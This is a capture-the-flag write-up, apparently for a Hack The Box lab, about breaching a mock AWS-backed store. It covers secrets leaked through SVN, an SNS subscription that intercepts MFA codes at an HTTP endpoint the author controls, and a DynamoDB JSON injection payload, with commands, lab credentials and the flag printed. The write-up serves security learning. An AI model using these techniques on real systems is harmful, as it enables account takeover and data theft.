This challenge is shining a light on different AWS solutions working together in order to create a functional website. It is in my opinion very interesting to see how the cloud technologies are replacing the standard websites and servers, and what possible misconfigurations and security risks this shifting create.

Challenge info :

With increasing breaches there has been equal increased demand for exploits and compromised hosts. Dark APT group has released an online store to sell such  digital equipment. Being part of defense operations can you help disrupting their service ?

Recon

The challenge info does not really give us a clue about what technologies we will deal with, so we start with a full scan of the machine with nmap :

# Nmap 7.92 scan initiated Fri Jul 15 21:51:10 2022 as: nmap -v -p- -sC -A -T4 -oA scan 10.129.237.39
Nmap scan report for 10.129.237.39
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http     Apache httpd 2.4.41
|_http-title: Monkey Backdoorz
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
3690/tcp open  svnserve Subversion
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/15%OT=22%CT=1%CU=32540%PV=Y%DS=2%DC=T%G=Y%TM=62D1C6D
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%TS=C)SEQ(SP=1
OS:07%GCD=2%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O
OS:3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 32.604 days (since Mon Jun 13 07:28:38 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   75.99 ms 10.10.14.1
2   76.07 ms 10.129.237.39

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 15 21:58:17 2022 -- 1 IP address (1 host up) scanned in 427.05 seconds

We have an ssh server and a web server on standard ports, along with an SVN server.

Webserver - 80

When we consult the website available on port 20, we end up on a login page :

Obvious credentials such as admin/admin or admin/password do not work, let’s move on for now.

SVN server - 3690

I did not know what was SVN before this challenge. Rapidly looking it up (thanks HackTricks), we see that it is a version control software. Let’s download the whole repo :

 $ svn checkout svn://10.129.227.204
A    store
A    store/README.md
A    store/dynamo.py
A    store/sns.py
Checked out revision 5.

We see there are 5 revisions. Taking a look at the files, we see it is a configuration for some AWS solutions, DynamoDB, s3, and SNS. These services are listening on the hostname cloud.htb, so we add this entry in our /etc/hosts file in order to be able to use it. In the dynamo.py file, we find credentials :

client.put_item(TableName='users',
    Item={
        'username': {
            'S': 'marcus'
        },
        'password': {
            'S': 'dFc42BvUs02'
        },
    }
    )

Trying these credentials on the website, they work ! But bad news, there is some kind of MFA in place, and we’re still stuck :

Let’s dig further into the repo. We can enumerate the different versions with svn up -r <version>. Checking on version number 2, we find that there are leaked AWS credentials in the file sns.py :

access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

Running aws configure with these credentials, we can try to access the different services. However, we don’t have enough privileges to access the s3 or the dynamoDB :

 $ aws s3 ls --endpoint-url http://cloud.htb

An error occurred (403) when calling the ListBuckets operation: Forbidden
 $ aws dynamodb list-tables --endpoint-url http://cloud.htb

An error occurred (403) when calling the ListTables operation: User arn:aws:iam::000000000000:user/tom is not authorized to perform this action

But if we try to interact with the SNS service, it will work :

aws sns list-topics --endpoint-url http://cloud.htb
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp"
        }
    ]
}

The AWS SNS solution

I discovered AWS SNS in this challenge. According to the AWS documentation, SNS is a notification service : basically, you create topics that you want to notify on, then interested people are subscribing to these topics in order to get notifications if an event happen, by mail or by SMS for example.

In this case, as shown before, the only topic on this SNS is called “otp”, and we need an otp code to bypass the MFA on the website. We can then suppose that each time a login attempt is made, the otp topic is triggered and the subscriber, supposedly the owner of the account, is receiving a notification with surely the otp code in it.

So if our AWS credentials are allowing us to subscribe to this topic, we should be able to get the otp code and bypass the MFA ! However, we can’t subscribe by SMS or email, as it is safe to assume that this SNS instance won’t be able to send any text or email. However, looking at the AWS documentation, we find that it is possible to get the notification on the HTTP endpoint. Let’s put that attack in place.

We start by setting up a simple HTTP server which will allow us to see the content of all the requests. I used this Python script :

 $ python3 server.py 8000
INFO:root:Starting httpd...

Then in another terminal, we subscribe to the otp topic :

 $ aws sns subscribe --protocol http --topic-arn arn:aws:sns:us-east-2:000000000000:otp --notification-endpoint http://10.10.14.90:8000 --endpoint-url http://cloud.htb
{
    "SubscriptionArn": "arn:aws:sns:us-east-2:000000000000:otp:f39c9ff2-f7dd-4995-a443-0f774e123555"
}

Now we try to log in the website, and the otp notification arrives on our server !

{"Type": "Notification", "MessageId": "c6cd64e3-029e-4fb9-b93a-8031e793742e", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "{\"otp\": \"41907473\"}", "Timestamp": "2022-07-18T22:01:34.477Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:f39c9ff2-f7dd-4995-a443-0f774e123555"}

Using the otp code we just received, we are now logged on the website.

Website exploit

Looking at the website, we have a buying page, but it seems to be only animated by JavaScript. We quickly find a search page, which seems interesting. Running sqlmap gives nothing on it, so we try to fuzz it. I used ZAProxy with a wordlist from SecLists. ZAProxy reports that there are some requests with reflected values. Some of these results are false positives, but some other inputs are triggering errors, such as \' :

JSONDecodeError: {"servername": {"ComparisonOperator": "EQ","AttributeValueList": [{"S": "\'"}]}}

We end up with a JSON array which is supposedly sent to a service on the backend in order to interrogate some database. Googling the terms in the JSON, we find that it is a dynamoDB request, and its syntax of is detailed in the AWS documentation.

We can now try to inject some characters in order to craft a valid JSON and dump the database. We can do that by reusing the ComparisonOperator value and revert it, hoping that the server will use our value instead of the legitimate one (which it should do, as the standard JSON parsers always use the last value in case of duplicate keys).

Using the value "}],"ComparisonOperator":"NE","AttributeValueList": [{"S":", we will generate a valid JSON of :

{"servername": {"ComparisonOperator": "EQ","AttributeValueList": [{"S": ""}],"ComparisonOperator":"NE","AttributeValueList": [{"S":""}]}}

And thus we should be getting all the results in the dynamoDB that are not an empty string (so let’s hope all of it). Trying to send this string to the server, we seem to get all the content :

Getting access to the server

Sadly, the flag is not in this database. We can try to use the credentials found in order to access the server, and with the credentials mario:cD034%hJqW10, we succeed to log in :

 $ ssh mario@cloud.htb 
mario@cloud.htb's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 18 Jul 2022 10:22:37 PM UTC

  System load:                      0.0
  Usage of /:                       70.0% of 6.53GB
  Memory usage:                     19%
  Swap usage:                       0%
  Processes:                        176
  Users logged in:                  0
  IPv4 address for br-cb9e7140726f: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.129.227.204
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:1227

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

195 updates can be applied immediately.
111 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

mario@trade:~$ ls
flag.txt
mario@trade:~$ cat flag.txt 
HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!}
mario@trade:~$ 

Flag : HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!}